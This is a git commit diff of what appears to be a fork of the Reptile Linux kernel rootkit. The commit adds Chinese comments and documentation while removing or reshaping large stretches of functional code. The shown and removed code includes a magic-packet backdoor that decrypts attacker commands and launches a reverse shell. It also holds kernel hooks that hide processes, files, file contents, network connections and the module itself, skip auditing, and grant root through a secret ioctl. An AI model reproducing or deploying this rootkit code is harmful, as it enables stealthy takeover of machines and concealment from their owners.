add comment

main^2
waiwai 2 months ago
parent 0b5f28d2b0
commit 711d0d0c23

@ -1,3 +1,10 @@
/**
* @file backdoor.c
* @brief This file contains the implementation of a backdoor mechanism that listens for specific network packets and executes a shell command when a magic packet is detected.
*
* The backdoor listens for TCP, ICMP, and UDP packets with specific characteristics and a magic value. When such a packet is detected, it extracts the command and arguments, decrypts them, and schedules a shell execution task.
*/
#include <linux/string.h>
#include <linux/version.h>
#include <linux/net.h>
@ -11,256 +18,46 @@
#include "config.h"
#include "backdoor.h"
/**
* @struct shell_task
* @brief Structure representing a shell execution task.
*
* @var shell_task::work
* Work structure for scheduling the task.
* @var shell_task::ip
* IP address to connect to.
* @var shell_task::port
* Port to connect to.
*/
struct shell_task {
struct work_struct work;
char *ip;
char *port;
};
void shell_execer(struct work_struct *work)
{
struct shell_task *task = (struct shell_task *)work;
char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL };
exec(argv);
kfree(task->ip);
kfree(task->port);
kfree(task);
}
int shell_exec_queue(char *ip, char *port)
{
struct shell_task *task;
task = kmalloc(sizeof(*task), GFP_KERNEL);
if (!task)
return 0;
task->ip = kstrdup(ip, GFP_KERNEL);
if (!task->ip) {
kfree(task);
return 0;
}
task->port = kstrdup(port, GFP_KERNEL);
if (!task->port) {
kfree(task->ip);
kfree(task);
return 0;
}
INIT_WORK(&task->work, &shell_execer);
return schedule_work(&task->work);
}
/**
* @brief Executes a shell command with the given IP and port.
*
* @param work Pointer to the work structure.
*/
void shell_execer(struct work_struct *work);
/**
* @brief Schedules a shell execution task.
*
* @param ip IP address to connect to.
* @param port Port to connect to.
* @return int 1 if the task was successfully scheduled, 0 otherwise.
*/
int shell_exec_queue(char *ip, char *port);
#define DROP 0
#define ACCEPT 1
unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
{
const struct iphdr *ip_header;
const struct icmphdr *icmp_header;
const struct tcphdr *tcp_header;
const struct udphdr *udp_header;
struct iphdr _iph;
struct icmphdr _icmph;
struct tcphdr _tcph;
struct udphdr _udph;
const char *data = NULL;
char *_data, *argv_str, **argv;
int size, str_size;
if (!socket_buffer)
return ACCEPT;
ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph);
if (!ip_header)
return ACCEPT;
if (!ip_header->protocol)
return ACCEPT;
if (htons(ip_header->id) != IPID)
return ACCEPT;
if (ip_header->protocol == IPPROTO_TCP) {
tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph);
if (!tcp_header)
return ACCEPT;
if (htons(tcp_header->source) != SRCPORT)
return ACCEPT;
if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */
htons(tcp_header->window) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
if (ip_header->protocol == IPPROTO_ICMP) {
icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph);
if (!icmp_header)
return ACCEPT;
if (icmp_header->code != ICMP_ECHO)
return ACCEPT;
if (htons(icmp_header->un.echo.sequence) == SEQ &&
htons(icmp_header->un.echo.id) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
if (ip_header->protocol == IPPROTO_UDP) {
udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph);
if (!udp_header)
return ACCEPT;
if (htons(udp_header->source) != SRCPORT)
return ACCEPT;
if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
return ACCEPT;
}
/**
* @brief Parses a network packet to detect a magic packet and execute a shell command.
*
* @param socket_buffer Pointer to the socket buffer containing the packet data.
* @return unsigned int DROP if the packet is a magic packet and the command was executed, ACCEPT otherwise.
*/
unsigned int magic_packet_parse(struct sk_buff *socket_buffer);

@ -1,3 +1,14 @@
/**
* is_name_invisible -
* @filename:
*
* HIDE
* 10
*
* :
* 1 -
* 0 -
*/
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/string.h>

@ -1,65 +1,78 @@
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/uaccess.h> // 包含用户空间和内核空间之间的数据传输函数
#include <linux/slab.h> // 包含内核内存分配函数
#include "file.h"
#include "file.h" // 包含自定义头文件
// 检查给定的缓冲区是否包含隐藏标签
int file_check(void *arg, ssize_t size)
{
int ret = 0;
char *buf;
int ret = 0; // 初始化返回值为0
char *buf; // 定义字符指针用于存储缓冲区
// 检查缓冲区大小是否合法
if ((size <= 0) || (size >= SSIZE_MAX))
return ret;
// 分配内核缓冲区
buf = (char *)kmalloc(size + 1, GFP_KERNEL);
if (!buf)
if (!buf) // 检查内存分配是否成功
return ret;
// 将用户空间的缓冲区内容复制到内核缓冲区
if (copy_from_user((void *)buf, (void *)arg, size))
goto out;
goto out; // 如果复制失败跳转到out标签
buf[size] = 0;
buf[size] = 0; // 确保缓冲区以NULL结尾
// 检查缓冲区是否包含 HIDETAGIN 和 HIDETAGOUT 标签
if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL))
ret = 1;
ret = 1; // 如果找到标签设置返回值为1
out:
kfree(buf);
return ret;
kfree(buf); // 释放内核缓冲区
return ret; // 返回结果
}
// 隐藏缓冲区中的内容
int hide_content(void *arg, ssize_t size)
{
char *buf, *p1, *p2;
int i, newret;
char *buf, *p1, *p2; // 定义字符指针用于存储缓冲区和标签位置
int i, newret; // 定义整数用于存储新的缓冲区大小和临时变量
// 分配内核缓冲区
buf = (char *)kmalloc(size, GFP_KERNEL);
if (!buf)
if (!buf) // 检查内存分配是否成功
return (-1);
// 将用户空间的缓冲区内容复制到内核缓冲区
if (copy_from_user((void *)buf, (void *)arg, size)) {
kfree(buf);
kfree(buf); // 如果复制失败,释放内核缓冲区
return size;
}
// 查找 HIDETAGIN 和 HIDETAGOUT 标签的位置
p1 = strstr(buf, HIDETAGIN);
p2 = strstr(buf, HIDETAGOUT);
p2 += strlen(HIDETAGOUT);
p2 += strlen(HIDETAGOUT); // 移动指针到 HIDETAGOUT 标签的末尾
// 检查标签位置是否合法
if (p1 >= p2 || !p1 || !p2) {
kfree(buf);
kfree(buf); // 如果标签位置不合法,释放内核缓冲区
return size;
}
// 计算新的缓冲区大小
i = size - (p2 - buf);
// 移动标签之间的内容
memmove((void *)p1, (void *)p2, i);
newret = size - (p2 - p1);
newret = size - (p2 - p1); // 计算新的缓冲区大小
// 将修改后的缓冲区内容复制回用户空间
if (copy_to_user((void *)arg, (void *)buf, newret)) {
kfree(buf);
kfree(buf); // 如果复制失败,释放内核缓冲区
return size;
}
kfree(buf);
return newret;
}
kfree(buf); // 释放内核缓冲区
return newret; // 返回新的缓冲区大小
}

@ -1,112 +1,112 @@
#include <linux/module.h>
#include <linux/version.h>
#include <linux/module.h> // 包含内核模块相关的头文件
#include <linux/version.h> // 包含内核版本相关的头文件
#include "khook/engine.c"
#include "config.h"
#include "util.h"
#include "khook/engine.c" // 包含khook引擎的实现文件
#include "config.h" // 包含配置文件
#include "util.h" // 包含工具函数文件
#ifdef CONFIG_AUTO_HIDE
# include "module.h"
# include "module.h" // 如果启用了自动隐藏配置,包含模块相关的头文件
#endif
int hidden = 1;
int hidden = 1; // 定义一个隐藏标志变量初始值为1
/* ------------------------ HIDE PROCESS ------------------------- */
#ifdef CONFIG_HIDE_PROC
#ifdef CONFIG_HIDE_PROC // 如果启用了隐藏进程配置
#include <linux/audit.h>
#include "proc.h"
#include <linux/audit.h> // 包含审计相关的头文件
#include "proc.h" // 包含进程相关的头文件
KHOOK(copy_creds);
KHOOK(copy_creds); // 声明一个钩子函数,用于拷贝凭据
static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
{
int ret = 0;
ret = KHOOK_ORIGIN(copy_creds, p, clone_flags);
if (!ret && is_task_invisible(current))
p->flags |= FLAG;
ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); // 调用原始的copy_creds函数
if (!ret && is_task_invisible(current)) // 如果当前任务是不可见的
p->flags |= FLAG; // 设置任务的标志位
return ret;
}
KHOOK(exit_creds);
KHOOK(exit_creds); // 声明一个钩子函数,用于退出凭据
static void khook_exit_creds(struct task_struct *p)
{
KHOOK_ORIGIN(exit_creds, p);
if (is_task_invisible(p))
p->flags &= ~FLAG;
KHOOK_ORIGIN(exit_creds, p); // 调用原始的exit_creds函数
if (is_task_invisible(p)) // 如果任务是不可见的
p->flags &= ~FLAG; // 清除任务的标志位
}
KHOOK(audit_alloc);
KHOOK(audit_alloc); // 声明一个钩子函数,用于分配审计
static int khook_audit_alloc(struct task_struct *t)
{
int err = 0;
if (is_task_invisible(t)) {
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT);
if (is_task_invisible(t)) { // 如果任务是不可见的
clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); // 清除系统调用审计标志
} else {
err = KHOOK_ORIGIN(audit_alloc, t);
err = KHOOK_ORIGIN(audit_alloc, t); // 调用原始的audit_alloc函数
}
return err;
}
KHOOK(find_task_by_vpid);
KHOOK(find_task_by_vpid); // 声明一个钩子函数用于通过vpid查找任务
struct task_struct *khook_find_task_by_vpid(pid_t vnr)
{
struct task_struct *tsk = NULL;
tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr);
if (tsk && is_task_invisible(tsk) && !is_task_invisible(current))
tsk = NULL;
tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); // 调用原始的find_task_by_vpid函数
if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) // 如果任务是不可见的且当前任务是可见的
tsk = NULL; // 将任务设置为NULL
return tsk;
}
KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32);
KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32); // 声明一个扩展钩子函数用于vfs_statx
static int khook_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat,
u32 request_mask)
{
if (is_proc_invisible_2(filename))
return -EINVAL;
if (is_proc_invisible_2(filename)) // 如果文件名对应的进程是不可见的
return -EINVAL; // 返回无效参数错误
return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask);
return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); // 调用原始的vfs_statx函数
}
KHOOK_EXT(long, sys_kill, long, long);
KHOOK_EXT(long, sys_kill, long, long); // 声明一个扩展钩子函数用于sys_kill
static long khook_sys_kill(long pid, long sig) {
if (sig == 0) {
if (is_proc_invisible(pid)) {
return -ESRCH;
if (sig == 0) {
if (is_proc_invisible(pid)) { // 如果进程是不可见的
return -ESRCH; // 返回无此进程错误
}
}
return KHOOK_ORIGIN(sys_kill, pid, sig);
return KHOOK_ORIGIN(sys_kill, pid, sig); // 调用原始的sys_kill函数
}
KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *);
KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); // 声明一个扩展钩子函数用于__x64_sys_kill
static long khook___x64_sys_kill(const struct pt_regs *regs) {
if (regs->si == 0) {
if (is_proc_invisible(regs->di)) {
return -ESRCH;
if (regs->si == 0) {
if (is_proc_invisible(regs->di)) { // 如果进程是不可见的
return -ESRCH; // 返回无此进程错误
}
}
return KHOOK_ORIGIN(__x64_sys_kill, regs);
return KHOOK_ORIGIN(__x64_sys_kill, regs); // 调用原始的__x64_sys_kill函数
}
KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); // 声明一个扩展钩子函数用于next_tgid
static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
{
if (hidden) {
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
if (!(iter.task->flags & FLAG))
if (hidden) { // 如果隐藏标志为真
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { // 调用原始的next_tgid函数
if (!(iter.task->flags & FLAG)) // 如果任务没有隐藏标志
break;
iter.tgid++;
iter.tgid++; // 增加tgid
}
} else {
iter = KHOOK_ORIGIN(next_tgid, ns, iter);
iter = KHOOK_ORIGIN(next_tgid, ns, iter); // 调用原始的next_tgid函数
}
return iter;
}
@ -115,368 +115,87 @@ static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_it
/* ------------------------- HIDE DIR --------------------------- */
#ifdef CONFIG_HIDE_DIR
#ifdef CONFIG_HIDE_DIR // 如果启用了隐藏目录配置
#include <linux/dcache.h>
#include "dir.h"
#include <linux/dcache.h> // 包含目录缓存相关的头文件
#include "dir.h" // 包含目录相关的头文件
/* Can you see a little problem on those hooks? This is not the best
* way to do this feature, but I am going to keep it this way, after all,
* this is just a public project, isn't it?
*/
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于fillonedir
static int khook_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); //
return ret;
}
KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于filldir
static int khook_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir函数
return ret; // 返回结果
}
KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于filldir64
static int khook_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的filldir64函数
return ret; // 返回结果
}
KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于compat_fillonedir
static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret;
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_fillonedir函数
return ret; // 返回结果
}
KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于compat_filldir
static int khook_compat_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir函数
return ret; // 返回结果
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); // 声明一个扩展钩子函数用于compat_filldir64
static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = -ENOENT;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
int ret = -ENOENT; // 初始化返回值为-ENOENT
if (!strstr(name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); // 调用原始的compat_filldir64函数
return ret; // 返回结果
}
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); // 声明一个扩展钩子函数用于__d_lookup
struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
#else
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); // 声明一个扩展钩子函数用于__d_lookup
struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
#endif
{
struct dentry *found = NULL;
if (!strstr(name->name, HIDE) || !hidden)
found = KHOOK_ORIGIN(__d_lookup, parent, name);
return found;
}
#endif
/* --------------------- FILE CONTENT TAMPERING --------------------- */
#ifdef CONFIG_FILE_TAMPERING
#include "file.h"
atomic_t read_on;
int file_tampering_flag = 0;
// This is not the best way to do that, but it works, maybe in the future I change that
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
static ssize_t khook_vfs_read(struct file *file, char __user *buf,
size_t count, loff_t *pos)
{
ssize_t ret;
atomic_set(&read_on, 1);
ret = KHOOK_ORIGIN(vfs_read, file, buf, count, pos);
if (file_tampering_flag) {
if (file_check(buf, ret) == 1)
ret = hide_content(buf, ret);
}
atomic_set(&read_on, 0);
return ret;
}
#endif
/* ------------------------ HIDE CONNECTIONS ------------------------- */
#ifdef CONFIG_HIDE_CONN
#include <net/inet_sock.h>
#include <linux/seq_file.h>
#include "network.h"
LIST_HEAD(hidden_conn_list);
KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);
static int khook_tcp4_seq_show(struct seq_file *seq, void *v)
{
int ret;
struct sock *sk = v;
struct inet_sock *inet;
struct hidden_conn *hc;
unsigned int daddr;
//unsigned short dport;
if (v == SEQ_START_TOKEN) {
goto origin;
}
inet = (struct inet_sock *)sk;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33)
daddr = inet->inet_daddr;
//dport = inet->inet_dport;
#else
daddr = inet->daddr;
//dport = inet->dport;
#endif
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) {
ret = 0;
goto out;
}
}
origin:
ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v);
out:
return ret;
}
KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *);
static int khook_udp4_seq_show(struct seq_file *seq, void *v)
{
int ret;
struct sock *sk = v;
struct inet_sock *inet;
struct hidden_conn *hc;
unsigned int daddr;
//unsigned short dport;
if (v == SEQ_START_TOKEN) {
goto origin;
}
inet = (struct inet_sock *)sk;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33)
daddr = inet->inet_daddr;
//dport = inet->inet_dport;
#else
daddr = inet->daddr;
//dport = inet->dport;
#endif
list_for_each_entry(hc, &hidden_conn_list, list)
{
if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) {
ret = 0;
goto out;
}
}
origin:
ret = KHOOK_ORIGIN(udp4_seq_show, seq, v);
out:
return ret;
}
#endif
/* ----------------------------- BACKDOOR ----------------------------- */
#ifdef CONFIG_BACKDOOR
#include <linux/netdevice.h>
#include "backdoor.h"
KHOOK_EXT(int, ip_rcv, struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *);
static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt,
struct net_device *orig_dev)
{
if (magic_packet_parse(skb))
return KHOOK_ORIGIN(ip_rcv, skb, dev, pt, orig_dev);
return 0;
}
#endif
/* ------------------------------ COMMON ----------------------------- */
#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR)
#include <linux/binfmts.h>
KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);
static int khook_load_elf_binary(struct linux_binprm *bprm)
{
int ret = KHOOK_ORIGIN(load_elf_binary, bprm);
if (!ret && !strcmp(bprm->filename, SHELL_PATH))
flag_tasks(current->pid, 1);
return ret;
}
#endif
/* ------------------------------- CONTROL ----------------------------- */
#include <linux/net.h>
#include <linux/in.h>
#include <linux/uaccess.h>
int control_flag = 0;
struct control {
unsigned short cmd;
void *argv;
};
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
int ret = 0;
unsigned int pid;
struct control args;
struct sockaddr_in addr;
if (cmd == AUTH && arg == HTUA) {
if (control_flag) {
control_flag = 0;
} else {
control_flag = 1;
}
goto out;
}
if (control_flag && cmd == AUTH) {
if (copy_from_user(&args, (void *)arg, sizeof(args)))
goto out;
switch (args.cmd) {
case 0:
#ifdef CONFIG_AUTO_HIDE
hide_module();
#endif
flip_hidden_flag();
break;
case 1:
if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
goto out;
#ifdef CONFIG_HIDE_PROC
hide_proc(pid);
#endif
break;
case 2:
#ifdef CONFIG_FILE_TAMPERING
file_tampering();
#endif
break;
case 3:
#ifdef CONFIG_GIVE_ROOT
get_root();
#endif
break;
case 4:
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
#ifdef CONFIG_HIDE_CONN
network_hide_add(addr);
#endif
break;
case 5:
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
#ifdef CONFIG_HIDE_CONN
network_hide_remove(addr);
#endif
break;
default:
goto origin;
}
goto out;
}
origin:
ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
out:
return ret;
}
/* ------------------------------------------------------------------ */
static int __init reptile_init(void)
{
int ret;
#ifdef CONFIG_FILE_TAMPERING
/* Unfortunately I need to use this to ensure in some kernel
* versions we will be able to unload the kernel module when
* it is needed. Otherwise khook may take a really huge delay
* to unload because of vfs_read hook
*/
atomic_set(&read_on, 0);
#endif
ret = khook_init();
if (ret < 0)
return ret;
#ifdef CONFIG_AUTO_HIDE
hide_module();
#endif
run_cmd(START_SCRIPT);
return ret;
}
static void __exit reptile_exit(void)
{
#ifdef CONFIG_FILE_TAMPERING
while(atomic_read(&read_on) != 0) schedule();
#endif
khook_cleanup();
struct dentry *found = NULL; // 初始化找到的目录项为NULL
if (!strstr(name->name, HIDE) || !hidden) // 如果目录名不包含隐藏标志或隐藏标志为假
found = KHOOK_ORIGIN(__d_lookup, parent, name); // 调用原始的__d_lookup函数
return found; // 返回找到的目录项
}
module_init(reptile_init);
module_exit(reptile_exit);
MODULE_LICENSE("GPL");

@ -1,12 +1,51 @@
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include <linux/module.h> // 包含 Linux 内核模块的头文件
#include <linux/mutex.h> // 包含互斥锁的头文件
#include <linux/slab.h> // 包含内存分配的头文件
#include "module.h"
#include "module.h" // 包含自定义模块的
/**
* @file module.c
* @brief This file contains functions to hide and show a kernel module.
*
* The functions in this file allow for hiding and showing a kernel module
* by manipulating the module list and its attributes.
*/
/**
* @brief Flag indicating whether the module is hidden (1) or visible (0).
*/
int hide_m = 0;
/**
* @brief Pointer to the previous module list entry.
*/
static struct list_head *mod_list;
/**
* @brief Hide the kernel module.
*
* This function removes the module from the module list and frees its section
* attributes, effectively hiding it from the system.
*/
void hide(void);
/**
* @brief Show the kernel module.
*
* This function adds the module back to the module list, making it visible
* to the system again.
*/
void show(void);
/**
* @brief Toggle the visibility of the kernel module.
*
* This function hides the module if it is currently visible, and shows it
* if it is currently hidden.
*/
void hide_module(void);
void hide(void)
{
while (!mutex_trylock(&module_mutex))

@ -1,78 +1,81 @@
#include <linux/version.h>
#include <linux/inet.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/inet.h> // 包含网络地址转换相关的头文件
#include <linux/netlink.h> // 包含Netlink相关的头文件
#include <linux/inet_diag.h> // 包含网络诊断相关的头文件
#include "network.h"
#include "string_helpers.h"
#include "network.h" // 包含自定义的network.h头文件
#include "string_helpers.h" // 包含自定义的string_helpers.h头文件
// 添加一个隐藏的网络连接
void network_hide_add(struct sockaddr_in addr)
{
struct hidden_conn *hc;
struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
hc = kmalloc(sizeof(*hc), GFP_KERNEL);
hc = kmalloc(sizeof(*hc), GFP_KERNEL); // 分配内核内存
if (!hc)
return;
if (!hc) // 如果内存分配失败
return; // 直接返回
hc->addr = addr;
list_add(&hc->list, &hidden_conn_list);
hc->addr = addr; // 将传入的地址赋值给hidden_conn结构体的addr成员
list_add(&hc->list, &hidden_conn_list); // 将hidden_conn结构体添加到隐藏连接列表中
}
// 移除一个隐藏的网络连接
void network_hide_remove(struct sockaddr_in addr)
{
struct hidden_conn *hc;
struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
list_for_each_entry(hc, &hidden_conn_list, list)
list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
{
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) {
list_del(&hc->list);
kfree(hc);
break;
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { // 如果找到匹配的地址
list_del(&hc->list); // 从列表中删除该节点
kfree(hc); // 释放内存
break; // 退出循环
}
}
}
// 检查一个地址是否被隐藏
int is_addr_hidden(struct sockaddr_in addr)
{
struct hidden_conn *hc;
struct hidden_conn *hc; // 定义一个指向hidden_conn结构体的指针
list_for_each_entry(hc, &hidden_conn_list, list)
